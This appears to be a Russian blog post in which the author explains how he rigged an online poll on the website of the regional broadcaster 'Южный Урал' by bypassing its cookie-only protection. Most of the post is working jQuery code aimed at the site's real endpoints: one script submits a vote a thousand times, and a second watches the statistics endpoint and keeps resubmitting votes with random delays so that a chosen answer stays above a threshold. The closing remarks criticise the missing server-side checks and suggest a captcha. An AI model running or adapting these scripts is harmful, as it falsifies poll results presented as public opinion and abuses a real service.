Как стать автором
Обновить

Накрутка голосов в опросе на сайте крупной областной телевизионной компании

Все нижеописанное было сделано только «just for fun» и не ради какой-либо выгоды.

Телевизионная компания, о которой пойдет речь, это государственная телевизионная и радиовещательная компания «Южный Урал». День назад мне дали ссылку на опрос, суть которого сводилась «за» или «против». Немного свободного времени и праздного любопытства — и я обнаружил, что голоса можно накручивать, если удалять куки. Я пошел дальше, стал смотреть как это всё работает «под капотом» в исходном коде и обнаружил интересные вещи.

Как всё работало:

  1. Посетитель сайта делает свой выбор и нажимает кнопку отправить
  2. На нужный адрес отправлялась форма
  3. Скрипты делали метку в куки и блокировали возможность повторно отправлять форму

Чтобы понять как и куда отправляется форма, немного последил за сетевой активностью сайта, встроенными в браузер инструментами. На сайте используется JQuery. Далее, немного подумав, родил скрипт:

for (i=0;i<1000;i++){
   var url = 'http://www.cheltv.ru/ajax/interviews/answer';
   var data = 
      {	
      	   'interviews_id': 26,
	   'answer[26]': 113,
      };
   $.ajax({		
	   type:"POST",
	   url:url,
	   data:data,
	   dataType: "json"
   });
};

Смысл его прост: тысячу раз отправляем форму с ответом, минуя «защиту» от накрутки. Осталось его запустить. Для этого в Гугл Хром открываем инструмент разработчика (ctrl + shift + i), находим консоль, в ней находим строку ввода и благополучно вставляем наш скрипт, нажимаем энтер и наслаждаемся работой скрипта.

На стороне сервера абсолютно ни какой защиты от данного способа накрутки. В ответ по запросу на адрес 'http://www.cheltv.ru/ajax/interviews/answer' возвращается JSON.

{"content":{"statistics":{"112":21,"113":38,"114":21,"115":1,"116":19},"just_stored":true}})

Но не обязательно голосовать, чтобы получить результаты, можно отправить запрос по адресу 'http://www.cheltv.ru/ajax/interviews/statistics/26' и в ответе будет почти тот же JSON с результатами голосования.

{"content":{"112":21,"113":38,"114":21,"115":1,"116":19}}

Немного усложнив скрипт, можно контролировать результаты.

setInterval(function() {
  iknow();
}, 60000);

function iknow(){
	$.ajax({		
		type:"POST",
		url:'http://www.cheltv.ru/ajax/interviews/statistics/26',
		dataType: "json", 
		success: function(json)
		{
			console.log(json.content['113']);
			if(json.content['113']<39) {
				upper();
			};
			
		},
	});
	
}
function upper(){
	setTimeout(function(){
		var url = 'http://www.cheltv.ru/ajax/interviews/answer';
		var data = 
			{	
				'interviews_id': 26,
				'answer[26]': 113,
				//TODO Add date field			
			};
		sendD(data, url);
	}, (Math.random() * (30000 - 1000) + 1000));
}
	

function sendD(data,url)
{		
	$.ajax({		
		type:"POST",
		url:url,
		data:data,
		dataType: "json", 
		success: function(json)
		{
			console.log(json.content.statistics['113']);
			if(json.content.statistics['113']<39) {
				upper();
			}
			
		},
	});
}

Приведенный скрипт раз в минуту самостоятельно опрашивает сервер и при снижении результатов по одному из ответов ниже порога (в моем случае 39%) начинает слать форму с ответом на опрос. запускаем скрипт и оставляем открытую вкладку работать на весь день. Победитель выбран.

На мой взгляд это серьезная уязвимость для новостной телекомпании, ведь результаты опроса затем могут транслироваться по телевидению и радио как отражение общественного мнения. Стоило немного продумать механизм блокировки подобных действий. Да хотя бы капчу поставить!
Теги:
Хабы:
Данная статья не подлежит комментированию, поскольку её автор ещё не является полноправным участником сообщества. Вы сможете связаться с автором только после того, как он получит приглашение от кого-либо из участников сообщества. До этого момента его username будет скрыт псевдонимом.